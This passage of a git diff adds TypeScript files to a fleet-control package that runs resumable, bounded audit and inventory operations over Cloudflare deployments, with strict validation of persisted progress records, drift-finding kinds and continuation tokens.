+  if (page.rows.length === 0 && !page.done) return malformed();
+  const sortedRows = [...page.rows].sort(
+    (left, right) => left.ordinal - right.ordinal,
+  );
+  const firstOrdinal = (afterOrdinal ?? -1) + 1;
+  for (const [index, row] of sortedRows.entries()) {
+    if (row.ordinal !== firstOrdinal + index) return malformed();
+  }
+  const findings = sortedRows.map((row) =>
+    driftFindingRowFromUnknown(row.payload),
+  );
+  const lastRow = sortedRows.at(-1);
+  const accounted = lastRow === undefined ? firstOrdinal : lastRow.ordinal + 1;
+  if (
+    page.done &&
+    accounted < fleetAuditProgressFromUnknown(run.progress).findingCount
+  ) {
+    return malformed();
+  }
+  if (lastRow === undefined) return { findings, done: true };
+  return page.done
+    ? { findings, done: true, nextAfterOrdinal: lastRow.ordinal }
+    : { findings, done: false, nextAfterOrdinal: lastRow.ordinal };
+}
+
+/**
+ * Unblocks a stuck RUNNING audit operation, or releases any surviving pin on
+ * an already-terminal one. Idempotent throughout.
+ */
+export async function abandonFleetAuditOperation(
+  input: Readonly<{
+    operationStore: FleetOperationStore;
+    inventoryStore: FleetInventoryRunStore;
+    operationId: string;
+  }>,
+): Promise<void> {
+  const { operationStore, inventoryStore, operationId } = input;
+  await operationStore.withAccountOperationLease('audit', async (lease) => {
+    const run = await lease.readOperation(operationId);
+    if (run && run.state === 'running') {
+      if (run.kind !== 'audit') {
+        throw new Error(fleetOperationOtherKindMessage(operationId));
+      }
+      const progress = fleetAuditProgressFromUnknown(run.progress);
+      const newProgress: FleetAuditProgress = {
+        ...progress,
+        revision: progress.revision + 1,
+        failure: { reason: 'operator-abandoned' },
+      };
+      await lease.failOperation({
+        operationId,
+        expectedRevision: progress.revision,
+        runRecord: {
+          ...run,
+          state: 'failed',
+          progress: newProgress,
+          updatedAt: new Date().toISOString(),
+        },
+      });
+      await inventoryStore.releasePin({
+        generation: progress.generation,
+        pinnedBy: fleetAuditPinOwner(operationId),
+      });
+      return;
+    }
+    const persisted =
+      run ?? (await operationStore.readOperationById(operationId));
+    if (!persisted) {
+      throw new FleetOperationTokenOperationError(operationId);
+    }
+    if (persisted.kind !== 'audit') {
+      throw new Error(fleetOperationOtherKindMessage(operationId));
+    }
+    const progress = fleetAuditProgressFromUnknown(persisted.progress);
+    await inventoryStore.releasePin({
+      generation: progress.generation,
+      pinnedBy: fleetAuditPinOwner(operationId),
+    });
+  });
+}
diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts
new file mode 100644
index 00000000..79e8210f
--- /dev/null
+++ b/packages/fleet-control/src/fleet-audit-state.ts
@@ -0,0 +1,389 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  isDeploymentEnvironment,
+  isDeploymentTenantTag,
+} from './deployment-context.js';
+import {
+  assertFleetOperationExactKeys,
+  FLEET_OPERATION_ITEM_BOUND,
+  FLEET_OPERATION_STRING_BYTE_BOUND,
+  type FleetOperationProgress,
+  type FleetOperationRunRecord,
+  fleetOperationFailureFromUnknown,
+  fleetOperationPlainRecord,
+  fleetOperationRunRecordFromUnknown,
+  fleetOperationSafeInteger,
+  fleetOperationTextHasControlBytes,
+  malformed,
+  utf8Length,
+} from './fleet-operation-state.js';
+
+export type FleetAuditStage =
+  | Readonly<{ step: 'provider-findings'; rowOrdinal: number }>
+  | Readonly<{ step: 'registration-orphans'; rowOrdinal: number }>
+  | Readonly<{ step: 'deployment-orphans'; rowOrdinal: number }>
+  | Readonly<{ step: 'deployment-gaps'; auditedOrdinal: number }>
+  | Readonly<{ step: 'orphan-databases'; rowOrdinal: number }>
+  | Readonly<{ step: 'orphan-routes'; rowOrdinal: number }>
+  | Readonly<{ step: 'namespace-orphans'; rowOrdinal: number }>
+  | Readonly<{ step: 'namespace-expectations'; auditedOrdinal: number }>
+  | Readonly<{ step: 'r2-expected'; auditedOrdinal: number }>
+  | Readonly<{ step: 'r2-orphans'; rowOrdinal: number }>
+  | Readonly<{ step: 'r2-missing-identity'; expectedOrdinal: number }>
+  | Readonly<{ step: 'per-record'; recordOrdinal: number }>
+  | Readonly<{ step: 'finalize' }>;
+
+export const FLEET_AUDIT_STAGE_ORDER = Object.freeze([
+  'provider-findings',
+  'registration-orphans',
+  'deployment-orphans',
+  'deployment-gaps',
+  'orphan-databases',
+  'orphan-routes',
+  'namespace-orphans',
+  'namespace-expectations',
+  'r2-expected',
+  'r2-orphans',
+  'r2-missing-identity',
+  'per-record',
+  'finalize',
+] as const) satisfies readonly FleetAuditStage['step'][];
+
+const STAGE_ORDINAL = Object.freeze({
+  'provider-findings': 'rowOrdinal',
+  'registration-orphans': 'rowOrdinal',
+  'deployment-orphans': 'rowOrdinal',
+  'deployment-gaps': 'auditedOrdinal',
+  'orphan-databases': 'rowOrdinal',
+  'orphan-routes': 'rowOrdinal',
+  'namespace-orphans': 'rowOrdinal',
+  'namespace-expectations': 'auditedOrdinal',
+  'r2-expected': 'auditedOrdinal',
+  'r2-orphans': 'rowOrdinal',
+  'r2-missing-identity': 'expectedOrdinal',
+  'per-record': 'recordOrdinal',
+  finalize: undefined,
+} satisfies Readonly<{
+  [K in FleetAuditStage['step']]:
+    | Exclude<keyof Extract<FleetAuditStage, { step: K }>, 'step'>
+    | undefined;
+}>);
+
+export const FLEET_AUDIT_FINDING_KINDS = Object.freeze([
+  'missing-deployment',
+  'duplicate-deployment',
+  'database-mismatch',
+  'duplicate-database',
+  'duplicate-namespace',
+  'binding-drift',
+  'route-drift',
+  'orphan-deployment',
+  'orphan-database',
+  'missing-namespace',
+  'orphan-namespace',
+  'orphan-route',
+  'missing-r2-bucket',
+  'orphan-r2-bucket',
+  'r2-bucket-drift',
+  'duplicate-route',
+  'incomplete-provisioning',
+  'version-drift',
+  'maintenance-stale',
+  'audit-error',
+  'malformed-script-registration',
+  'stale-script-registration',
+  'malformed-route',
+  'stale-route',
+  'incomplete-deployment',
+  'trusted-dispatch-namespace',
+  'unknown-dispatch-scripts',
+] as const);
+
+export type FleetAuditFindingKind = (typeof FLEET_AUDIT_FINDING_KINDS)[number];
+
+export interface FleetAuditProgress extends FleetOperationProgress {
+  readonly kind: 'audit';
+  readonly stage: FleetAuditStage;
+  readonly generation: number;
+  readonly auditTimeMs: number;
+  readonly staleAfterMs: number;
+  readonly recordCount: number;
+  readonly findingCount: number;
+  readonly factCount: number;
+}
+
+export type DriftFindingRowPayload = Readonly<{
+  tenantTag: string;
+  environment: string;
+  kind: FleetAuditFindingKind;
+  detail: string;
+}>;
+
+export type FleetAuditFactPayload =
+  | Readonly<{
+      factKind: 'database-owner';
+      key: string;
+      tenantTag: string;
+      environment: string;
+    }>
+  | Readonly<{
+      factKind: 'namespace-owner';
+      key: string;
+      tenantTag: string;
+      environment: string;
+    }>
+  | Readonly<{ factKind: 'duplicate-namespace'; key: string }>;
+
+/**
+ * Byte-bounded provider-claimed text: a string within the module's string
+ * byte bound, with NO non-empty requirement.
+ *
+ * Admitting the empty string is the exception this predicate exists for:
+ * provider-claimed text carries no non-empty requirement, so a
+ * `value.length > 0` clause here refuses a conforming value.
+ * `fleetOperationBoundedString`, which still carried that superseded
+ * clause under a near-identical name, was deleted for exactly that reason;
+ * the name here says what the predicate is for rather than what it bounds.
+ */
+function boundedProviderText(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    utf8Length(value) <= FLEET_OPERATION_STRING_BYTE_BOUND
+  );
+}
+
+function structurallySafeText(value: unknown): value is string {
+  return (
+    boundedProviderText(value) && !fleetOperationTextHasControlBytes(value)
+  );
+}
+
+export function fleetAuditStageFromUnknown(value: unknown): FleetAuditStage {
+  const candidate = fleetOperationPlainRecord(value);
+  if (
+    typeof candidate.step !== 'string' ||
+    !FLEET_AUDIT_STAGE_ORDER.includes(candidate.step as FleetAuditStage['step'])
+  ) {
+    return malformed();
+  }
+  const step = candidate.step as FleetAuditStage['step'];
+  const ordinal = STAGE_ORDINAL[step];
+  assertFleetOperationExactKeys(
+    candidate,
+    ordinal === undefined ? ['step'] : ['step', ordinal],
+  );
+  if (ordinal !== undefined && !fleetOperationSafeInteger(candidate[ordinal])) {
+    return malformed();
+  }
+  return withAuditStageOrdinal(
+    step,
+    ordinal === undefined ? 0 : (candidate[ordinal] as number),
+  );
+}
+
+/**
+ * Builds the stage whose cursor field `STAGE_ORDINAL` names for `step`,
+ * dropping the ordinal for the cursor-less `finalize` step.
+ *
+ * `step` is the full 13-step union because two in-module callers need it:
+ * `stageEntry`, which walks all of `FLEET_AUDIT_STAGE_ORDER`, and
+ * `fleetAuditStageFromUnknown`, which rebuilds any persisted stage. The only
+ * caller outside this module passes a global step.
+ */
+export function withAuditStageOrdinal(
+  step: FleetAuditStage['step'],
+  ordinal: number,
+): FleetAuditStage {
+  const ordinalField = STAGE_ORDINAL[step];
+  return {
+    step,
+    ...(ordinalField === undefined ? {} : { [ordinalField]: ordinal }),
+  } as FleetAuditStage;
+}
+
+/**
+ * Read-side counterpart of `withAuditStageOrdinal`. Resolving the cursor
+ * through the same `STAGE_ORDINAL` table the write side uses keeps the
+ * step-to-field mapping in one place; `finalize` carries no cursor.
+ */
+export function fleetAuditStageOrdinal(
+  stage: FleetAuditStage,
+): number | undefined {
+  const ordinalField = STAGE_ORDINAL[stage.step];
+  if (ordinalField === undefined) return undefined;
+  const cursor: Readonly<Record<string, unknown>> = stage;
+  return cursor[ordinalField] as number;
+}
+
+function stageEntry(step: FleetAuditStage['step']): FleetAuditStage {
+  return withAuditStageOrdinal(step, 0);
+}
+
+/**
+ * The successor of `stage` when its source is exhausted, or `stage` itself
+ * when it is not.
+ *
+ * Both production call sites pass `exhausted: true` — a coordinator only ever
+ * asks for the successor once it has drained the stage. The `false` case is
+ * kept because it makes the successor chain total, and it is exercised only
+ * by the codec's own `nextAuditStage` title. `stage` is re-parsed through
+ * `fleetAuditStageFromUnknown` even though it arrives typed, so a stage
+ * rebuilt from durable state is re-validated before it is advanced.
+ */
+export function nextAuditStage(
+  stage: FleetAuditStage,
+  exhausted: boolean,
+): FleetAuditStage {
+  const current = fleetAuditStageFromUnknown(stage);
+  if (!exhausted || current.step === 'finalize') return current;
+  // 'finalize' is last in FLEET_AUDIT_STAGE_ORDER, so the early return
+  // keeps this index in range.
+  const next = FLEET_AUDIT_STAGE_ORDER[
+    FLEET_AUDIT_STAGE_ORDER.indexOf(current.step) + 1
+  ] as FleetAuditStage['step'];
+  return stageEntry(next);
+}
+
+export function fleetAuditProgressFromUnknown(
+  value: unknown,
+): FleetAuditProgress {
+  const candidate = fleetOperationPlainRecord(value);
+  assertFleetOperationExactKeys(
+    candidate,
+    [
+      'kind',
+      'revision',
+      'stage',
+      'generation',
+      'auditTimeMs',
+      'staleAfterMs',
+      'recordCount',
+      'findingCount',
+      'factCount',
+    ],
+    ['failure'],
+  );
+  if (
+    candidate.kind !== 'audit' ||
+    !fleetOperationSafeInteger(candidate.revision) ||
+    !fleetOperationSafeInteger(candidate.generation, 1) ||
+    !fleetOperationSafeInteger(candidate.auditTimeMs) ||
+    Number.isNaN(new Date(candidate.auditTimeMs).getTime()) ||
+    !fleetOperationSafeInteger(candidate.staleAfterMs, 1) ||
+    !fleetOperationSafeInteger(candidate.recordCount) ||
+    candidate.recordCount > FLEET_OPERATION_ITEM_BOUND ||
+    !fleetOperationSafeInteger(candidate.findingCount) ||
+    !fleetOperationSafeInteger(candidate.factCount)
+  ) {
+    return malformed();
+  }
+  const failure =
+    candidate.failure === undefined
+      ? undefined
+      : fleetOperationFailureFromUnknown(candidate.failure);
+  return {
+    kind: 'audit',
+    revision: candidate.revision,
+    stage: fleetAuditStageFromUnknown(candidate.stage),
+    generation: candidate.generation,
+    auditTimeMs: candidate.auditTimeMs,
+    staleAfterMs: candidate.staleAfterMs,
+    recordCount: candidate.recordCount,
+    findingCount: candidate.findingCount,
+    factCount: candidate.factCount,
+    ...(failure === undefined ? {} : { failure }),
+  };
+}
+
+export function fleetAuditOperationRecordFromUnknown(
+  value: unknown,
+): FleetOperationRunRecord & Readonly<{ progress: FleetAuditProgress }> {
+  const record = fleetOperationRunRecordFromUnknown(value);
+  if (record.kind !== 'audit') return malformed();
+  return {
+    ...record,
+    progress: fleetAuditProgressFromUnknown(record.progress),
+  };
+}
+
+export function driftFindingRowFromUnknown(
+  value: unknown,
+): DriftFindingRowPayload {
+  const candidate = fleetOperationPlainRecord(value);
+  assertFleetOperationExactKeys(candidate, [
+    'tenantTag',
+    'environment',
+    'kind',
+    'detail',
+  ]);
+  // These are provider-claimed observations that the drain emits verbatim.
+  if (
+    !boundedProviderText(candidate.tenantTag) ||
+    !boundedProviderText(candidate.environment) ||
+    typeof candidate.kind !== 'string' ||
+    !FLEET_AUDIT_FINDING_KINDS.includes(
+      candidate.kind as FleetAuditFindingKind,
+    ) ||
+    !structurallySafeText(candidate.detail)
+  ) {
+    return malformed();
+  }
+  return {
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+    kind: candidate.kind as FleetAuditFindingKind,
+    detail: candidate.detail,
+  };
+}
+
+export function fleetAuditFactRowFromUnknown(
+  value: unknown,
+): FleetAuditFactPayload {
+  const candidate = fleetOperationPlainRecord(value);
+  if (candidate.factKind === 'duplicate-namespace') {
+    assertFleetOperationExactKeys(candidate, ['factKind', 'key']);
+    if (!boundedProviderText(candidate.key)) return malformed();
+    return { factKind: 'duplicate-namespace', key: candidate.key };
+  }
+  if (
+    candidate.factKind !== 'database-owner' &&
+    candidate.factKind !== 'namespace-owner'
+  ) {
+    return malformed();
+  }
+  assertFleetOperationExactKeys(candidate, [
+    'factKind',
+    'key',
+    'tenantTag',
+    'environment',
+  ]);
+  if (
+    !boundedProviderText(candidate.key) ||
+    typeof candidate.tenantTag !== 'string' ||
+    !isDeploymentTenantTag(candidate.tenantTag) ||
+    typeof candidate.environment !== 'string' ||
+    !isDeploymentEnvironment(candidate.environment)
+  ) {
+    return malformed();
+  }
+  return {
+    factKind: candidate.factKind,
+    key: candidate.key,
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+  };
+}
+
+export function withheldAuditDetail(kind: FleetAuditFindingKind): string {
+  return `finding detail withheld: unsafe bytes (kind '${kind}')`;
+}
+
+/**
+ * The pin-owner string an audit operation records on the inventory generation
+ * it pins; the coordinator and the store's prune path must agree on it byte
+ * for byte.
+ */
+export function fleetAuditPinOwner(operationId: string): string {
+  return `fleet-audit:${operationId}`;
+}
diff --git a/packages/fleet-control/src/fleet-inventory-advance.ts b/packages/fleet-control/src/fleet-inventory-advance.ts
new file mode 100644
index 00000000..741115b5
--- /dev/null
+++ b/packages/fleet-control/src/fleet-inventory-advance.ts
@@ -0,0 +1,294 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// Shares the request-budget contract cloudflare-fleet-inventory.ts states.
+import { assertWorkerAttachmentProviderRequestBudget } from './cloudflare-worker-attachment-scan-state.js';
+import {
+  advanceFleetInventoryProgress,
+  type CollectFleetInventoryOptions,
+  canonicalFleetInventoryRunOptions,
+  classifyFleetInventoryRunToken,
+  FLEET_INVENTORY_GENERATION_READ_MEMBERS,
+  type FleetInventoryGenerationRef,
+  type FleetInventoryLease,
+  type FleetInventoryProviderContext,
+  type FleetInventoryRunRecord,
+  type FleetInventoryRunStore,
+  type FleetInventoryRunToken,
+  FleetInventoryRunTokenOperationError,
+  fleetInventoryOptionsDigest,
+  materializeFleetInventoryGeneration,
+  parseFleetInventoryRunToken,
+} from './fleet-inventory-state.js';
+import type { FleetResourceInventory } from './types.js';
+
+/** Default staged rows plus facts one bounded chunk may commit. */
+export const DEFAULT_FLEET_INVENTORY_STAGED_ROWS_PER_CHUNK = 500;
+const MIN_STAGED_ROWS_PER_CHUNK = 1;
+const MAX_STAGED_ROWS_PER_CHUNK = 2_000;
+
+/** One bounded inventory step: begin a run, or continue a persisted one. */
+export type FleetInventoryAdvanceAction =
+  | Readonly<{
+      kind: 'start';
+      operationId: string;
+      options: CollectFleetInventoryOptions;
+    }>
+  | Readonly<{ kind: 'continue'; token: unknown }>;
+
+/** Inputs for one bounded account inventory step. */
+export interface AdvanceFleetInventoryOptions {
+  readonly context: FleetInventoryProviderContext;
+  readonly store: FleetInventoryRunStore;
+  readonly action: FleetInventoryAdvanceAction;
+  readonly maxProviderRequests: number;
+  readonly maxStagedRowsPerChunk?: number;
+  /**
+   * Call-local cancellation; it is never persisted. This engine forwards it
+   * to the stage advance, which is where it is honoured; the engine takes no
+   * step of its own on it.
+   */
+  readonly signal?: AbortSignal;
+}
+
+/** Authoritative durable outcome after at most one bounded stage chunk. */
+export type FleetInventoryAdvanceResult =
+  | Readonly<{
+      /** More work remains; the token, not this status, is continuation input. */
+      status: 'pending';
+      token: FleetInventoryRunToken;
+    }>
+  | Readonly<{
+      /** The generation is finalized and readable; rows are not returned here. */
+      status: 'complete';
+      token: FleetInventoryRunToken;
+      generation: FleetInventoryGenerationRef;
+    }>;
+
+/** Named capability whose absence makes bounded inventory work fail closed. */
+export type FleetInventoryAdvanceCapability =
+  | 'inventory-run-store'
+  | 'generation-read'
+  | 'generation-pin';
+
+const CAPABILITY_MESSAGES: Readonly<
+  Record<FleetInventoryAdvanceCapability, string>
+> = Object.freeze({
+  'inventory-run-store':
+    'fleet inventory requires a run store with bounded staging support',
+  'generation-read':
+    'fleet inventory requires a run store that can read finalized generations',
+  'generation-pin':
+    'fleet inventory requires a run store that can pin finalized generations',
+});
+
+const CAPABILITY_MEMBERS: Readonly<
+  Record<FleetInventoryAdvanceCapability, readonly string[]>
+> = Object.freeze({
+  'inventory-run-store': Object.freeze(['withAccountInventoryLease']),
+  'generation-read': FLEET_INVENTORY_GENERATION_READ_MEMBERS,
+  'generation-pin': Object.freeze(['pinGeneration']),
+});
+
+/** Fixed configuration refusal for one missing bounded capability. */
+export class FleetInventoryAdvanceCapabilityError extends Error {
+  constructor(readonly capability: FleetInventoryAdvanceCapability) {
+    super(CAPABILITY_MESSAGES[capability]);
+    this.name = 'FleetInventoryAdvanceCapabilityError';
+  }
+}
+
+function assertStoreCapability(
+  store: FleetInventoryRunStore,
+  capability: FleetInventoryAdvanceCapability,
+): void {
+  for (const member of CAPABILITY_MEMBERS[capability]) {
+    if (
+      !Reflect.has(store, member) ||
+      typeof (store as unknown as Record<string, unknown>)[member] !==
+        'function'
+    ) {
+      throw new FleetInventoryAdvanceCapabilityError(capability);
+    }
+  }
+}
+
+function assertStoreCapabilities(store: FleetInventoryRunStore): void {
+  for (const capability of Object.keys(
+    CAPABILITY_MEMBERS,
+  ) as FleetInventoryAdvanceCapability[]) {
+    assertStoreCapability(store, capability);
+  }
+}
+
+function assertStagedRowsBudget(value: number): void {
+  if (
+    !Number.isSafeInteger(value) ||
+    value < MIN_STAGED_ROWS_PER_CHUNK ||
+    value > MAX_STAGED_ROWS_PER_CHUNK
+  ) {
+    throw new Error('maxStagedRowsPerChunk must be an integer from 1 to 2000');
+  }
+}
+
+function runToken(run: FleetInventoryRunRecord): FleetInventoryRunToken {
+  return {
+    version: 1,
+    operationId: run.operationId,
+    revision: run.progress.revision,
+  };
+}
+
+async function completeFromRun(
+  store: FleetInventoryRunStore,
+  lease: FleetInventoryLease,
+  run: FleetInventoryRunRecord,
+): Promise<FleetInventoryAdvanceResult> {
+  // A finalized row can survive an interrupted head update.
+  await lease.finalizeRun({
+    operationId: run.operationId,
+    expectedRevision: run.progress.revision,
+    manifest: run.progress.stagedCounts,
+    factCount: run.progress.factCount,
+  });
+  const generation = await store.readFinalizedGeneration(
+    run.progress.generation,
+  );
+  return {
+    status: 'complete',
+    token: runToken(run),
+    generation: generation.ref,
+  };
+}
+
+async function advanceChunk(
+  options: AdvanceFleetInventoryOptions,
+  lease: FleetInventoryLease,
+  run: FleetInventoryRunRecord,
+  maxStagedRowsPerChunk: number,
+): Promise<FleetInventoryAdvanceResult> {
+  if (run.state === 'finalized') {
+    return completeFromRun(options.store, lease, run);
+  }
+  if (run.state === 'failed') {
+    throw new Error(
+      `fleet inventory run '${run.operationId}' failed and cannot be continued`,
+    );
+  }
+  await lease.assertOwned();
+  const executed = run.progress.stage;
+  if (executed.step === 'finalize') {
+    const generation = await lease.finalizeRun({
+      operationId: run.operationId,
+      expectedRevision: run.progress.revision,
+      manifest: run.progress.stagedCounts,
+      factCount: run.progress.factCount,
+    });
+    return { status: 'complete', token: runToken(run), generation };
+  }
+  const result = await options.context.advanceStage({
+    stage: executed,
+    options: run.options,
+    progress: run.progress,
+    maxProviderRequests: options.maxProviderRequests,
+    ...(options.signal ? { signal: options.signal } : {}),
+  });
+  if (result.rows.length + result.facts.length > maxStagedRowsPerChunk) {
+    throw new Error(
+      'fleet inventory chunk staged more rows and facts than maxStagedRowsPerChunk allows',
+    );
+  }
+  const progress = advanceFleetInventoryProgress(
+    run.progress,
+    executed,
+    result,
+  );
+  const committed = await lease.commitChunk({
+    operationId: run.operationId,
+    expectedRevision: run.progress.revision,
+    runRecord: {
+      ...run,
+      progress,
+      updatedAt: new Date().toISOString(),
+    },
+    rows: result.rows,
+    facts: result.facts,
+  });
+  return { status: 'pending', token: runToken(committed) };
+}
+
+/**
+ * Performs at most ONE bounded provider stage chunk against the durable run
+ * store, then returns the authoritative token. Provider work is reached only
+ * through the injected context, so this coordinator stays transport-neutral.
+ *
+ * A stale token returns the authoritative current result with ZERO provider
+ * calls; a token ahead of the persisted run, an unknown operation, and every
+ * missing store capability all fail closed before any provider call.
+ */
+export async function advanceFleetInventory(
+  options: AdvanceFleetInventoryOptions,
+): Promise<FleetInventoryAdvanceResult> {
+  assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests);
+  const maxStagedRowsPerChunk =
+    options.maxStagedRowsPerChunk ??
+    DEFAULT_FLEET_INVENTORY_STAGED_ROWS_PER_CHUNK;
+  assertStagedRowsBudget(maxStagedRowsPerChunk);
+  assertStoreCapabilities(options.store);
+  const action = options.action;
+  if (action.kind === 'start') {
+    const canonical = canonicalFleetInventoryRunOptions(action.options);
+    const optionsDigest = fleetInventoryOptionsDigest(canonical);
+    return options.store.withAccountInventoryLease(async (lease) => {
+      const run = await lease.startRun({
+        operationId: action.operationId,
+        options: canonical,
+        optionsDigest,
+      });
+      return advanceChunk(options, lease, run, maxStagedRowsPerChunk);
+    });
+  }
+  const token = parseFleetInventoryRunToken(action.token);
+  return options.store.withAccountInventoryLease(async (lease) => {
+    const run = await lease.readRun(token.operationId);
+    if (!run) {
+      const persisted = await options.store.readRunByOperation(
+        token.operationId,
+      );
+      if (persisted?.state === 'finalized') {
+        classifyFleetInventoryRunToken(token, persisted);
+        return completeFromRun(options.store, lease, persisted);
+      }
+      throw new FleetInventoryRunTokenOperationError(token.operationId);
+    }
+    if (classifyFleetInventoryRunToken(token, run) === 'stale') {
+      return run.state === 'finalized'
+        ? completeFromRun(options.store, lease, run)
+        : { status: 'pending', token: runToken(run) };
+    }
+    return advanceChunk(options, lease, run, maxStagedRowsPerChunk);
+  });
+}
+
+/**
+ * Materializes one finalized, readable generation as today's
+ * `FleetResourceInventory`. Staging, failed, pruned, and unpinned historical
+ * generations are refused by the run store before any row is read.
+ */
+export async function readFleetInventoryGeneration(
+  store: FleetInventoryRunStore,
+  generation: number,
+): Promise<FleetResourceInventory> {
+  // Materialization is a read: a store that can only read finalized
+  // generations must not be refused for missing staging or pinning members.
+  assertStoreCapability(store, 'generation-read');
+  const finalized = await store.readFinalizedGeneration(generation);
+  const run = await store.readRunByOperation(finalized.ref.operationId);
+  if (run?.state !== 'finalized') {
+    throw new FleetInventoryRunTokenOperationError(finalized.ref.operationId);
+  }
+  return materializeFleetInventoryGeneration({
+    rows: finalized.rows,
+    facts: finalized.facts,
+    options: run.options,
+  });
+}
diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts
new file mode 100644
index 00000000..efc2eaf0
--- /dev/null
+++ b/packages/fleet-control/src/fleet-inventory-state.ts
@@ -0,0 +1,1416 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+import type {
+  ApplicationR2Binding,
+  DurableObjectBindingInventory,
+  FleetInventoryDeployment,
+  FleetInventoryFinding,
+  FleetResourceInventory,
+  ProvisioningBackendKind,
+  R2Jurisdiction,
+  WorkerZoneRoute,
+} from './types.js';
+
+/** Byte bound for one persisted inventory run record. */
+export const FLEET_INVENTORY_RUN_RECORD_BYTE_BOUND = 96 * 1024;
+/** Byte bound for one bounded inventory continuation token. */
+export const FLEET_INVENTORY_TOKEN_BYTE_BOUND = 1024;
+/** Byte bound for any single string inside persisted inventory state. */
+export const FLEET_INVENTORY_STRING_BYTE_BOUND = 4096;
+/** Byte bound for one staged row or deployment fact payload. */
+export const FLEET_INVENTORY_STAGED_PAYLOAD_BYTE_BOUND = 16 * 1024;
+/**
+ * Byte bound for every durable inventory string, matching Cloudflare's own KV
+ * key-name limit and staying well under the string bound.
+ */
+export const FLEET_INVENTORY_DURABLE_TEXT_BYTE_BOUND = 512;
+
+const DEPTH_BOUND = 64;
+const NODE_BOUND = 8192;
+const UUID_V4 =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u;
+const SHA256 = /^[0-9a-f]{64}$/u;
+const STRUCTURED_CLONE = structuredClone;
+const CREDENTIAL_SUBSTRINGS: readonly string[] = Object.freeze([
+  'authorization',
+  'bearer',
+  'x-auth',
+  'api_token',
+]);
+const PRINTABLE_NON_WHITESPACE = /^[^\s\p{C}]+$/u;
+const BASE64_SHAPE = /^[A-Za-z0-9+/_-]+={0,2}$/u;
+const BASE64_SHAPE_MIN_LENGTH = 32;
+
+/** Options accepted by `collectFleetInventory`, named for the bounded API. */
+export interface CollectFleetInventoryOptions {
+  readonly hostRoutingKvId?: string;
+  readonly databaseNamePrefix: string;
+  readonly scriptNamePrefix: string;
+  readonly includeDispatchNamespace?: boolean;
+  readonly includeR2Buckets?: boolean;
+}
+
+/** Canonical inventory options after defaults resolve at run start. */
+export interface FleetInventoryRunOptions {
+  readonly hostRoutingKvId?: string;
+  readonly databaseNamePrefix: string;
+  readonly scriptNamePrefix: string;
+  readonly includeDispatchNamespace: boolean;
+  readonly includeR2Buckets: boolean;
+}
+
+/** Bounded continuation token; it carries no account, options, or cursor. */
+export interface FleetInventoryRunToken {
+  readonly version: 1;
+  readonly operationId: string;
+  readonly revision: number;
+}
+
+/**
+ * One bounded stage of an account inventory run, in provider encounter order.
+ * Ordinals address items inside a stage; cursors are provider resumption text.
+ * @inline
+ */
+export type FleetInventoryStage =
+  | Readonly<{ step: 'host-kv-keys'; cursor?: string }>
+  | Readonly<{ step: 'host-kv-values'; keyOrdinal: number }>
+  | Readonly<{ step: 'dispatch-pages'; cursor?: string; pageOrdinal: number }>
+  | Readonly<{ step: 'registration-checks'; registrationOrdinal: number }>
+  | Readonly<{ step: 'registration-postprocess' }>
+  | Readonly<{ step: 'custom-domains' }>
+  | Readonly<{ step: 'zone-authority' }>
+  | Readonly<{ step: 'zone-routes'; zoneOrdinal: number }>
+  | Readonly<{ step: 'ordinary-scripts'; cursor?: string }>
+  | Readonly<{ step: 'ordinary-script-detail'; scriptOrdinal: number }>
+  | Readonly<{ step: 'route-claims' }>
+  | Readonly<{ step: 'd1-databases' }>
+  | Readonly<{ step: 'do-namespaces' }>
+  | Readonly<{
+      step: 'r2-buckets';
+      jurisdictionOrdinal: 0 | 1 | 2;
+      startAfter?: string;
+    }>
+  | Readonly<{ step: 'finalize' }>;
+
+/** The step discriminant of {@link FleetInventoryStage}. */
+export type FleetInventoryStageStep = FleetInventoryStage['step'];
+
+/** @inline */
+export type FleetInventoryRowKind =
+  | 'registration'
+  | 'deployment'
+  | 'finding'
+  | 'database-id'
+  | 'namespace-id'
+  | 'r2-bucket'
+  | 'route'
+  | 'dispatch-script'
+  | 'meta';
+
+/** @inline */
+export type FleetInventoryDeploymentFactKind =
+  | 'database-id'
+  | 'durable-object-binding'
+  | 'service-binding'
+  | 'queue-producer-binding'
+  | 'kv-binding'
+  | 'r2-binding'
+  | 'secret-name'
+  | 'plain-text-binding'
+  | 'route-hostname'
+  | 'zone-route';
+
+/** Every staged row kind, in manifest order. */
+export const FLEET_INVENTORY_ROW_KINDS: readonly FleetInventoryRowKind[] =
+  Object.freeze([
+    'registration',
+    'deployment',
+    'finding',
+    'database-id',
+    'namespace-id',
+    'r2-bucket',
+    'route',
+    'dispatch-script',
+    'meta',
+  ]);
+
+/** Every deployment fact kind. */
+export const FLEET_INVENTORY_DEPLOYMENT_FACT_KINDS: readonly FleetInventoryDeploymentFactKind[] =
+  Object.freeze([
+    'database-id',
+    'durable-object-binding',
+    'service-binding',
+    'queue-producer-binding',
+    'kv-binding',
+    'r2-binding',
+    'secret-name',
+    'plain-text-binding',
+    'route-hostname',
+    'zone-route',
+  ]);
+
+/** Every inventory stage step, in provider encounter order. */
+export const FLEET_INVENTORY_STAGE_ORDER: readonly FleetInventoryStageStep[] =
+  Object.freeze([
+    'host-kv-keys',
+    'host-kv-values',
+    'dispatch-pages',
+    'registration-checks',
+    'registration-postprocess',
+    'custom-domains',
+    'zone-authority',
+    'zone-routes',
+    'ordinary-scripts',
+    'ordinary-script-detail',
+    'route-claims',
+    'd1-databases',
+    'do-namespaces',
+    'r2-buckets',
+    'finalize',
+  ]);
+
+interface StageShape {
+  readonly ordinal?: string;
+  readonly maxOrdinal?: number;
+  readonly text?: 'cursor' | 'startAfter';
+}
+
+const STAGE_SHAPES: Readonly<Record<FleetInventoryStageStep, StageShape>> =
+  Object.freeze({
+    'host-kv-keys': { text: 'cursor' },
+    'host-kv-values': { ordinal: 'keyOrdinal' },
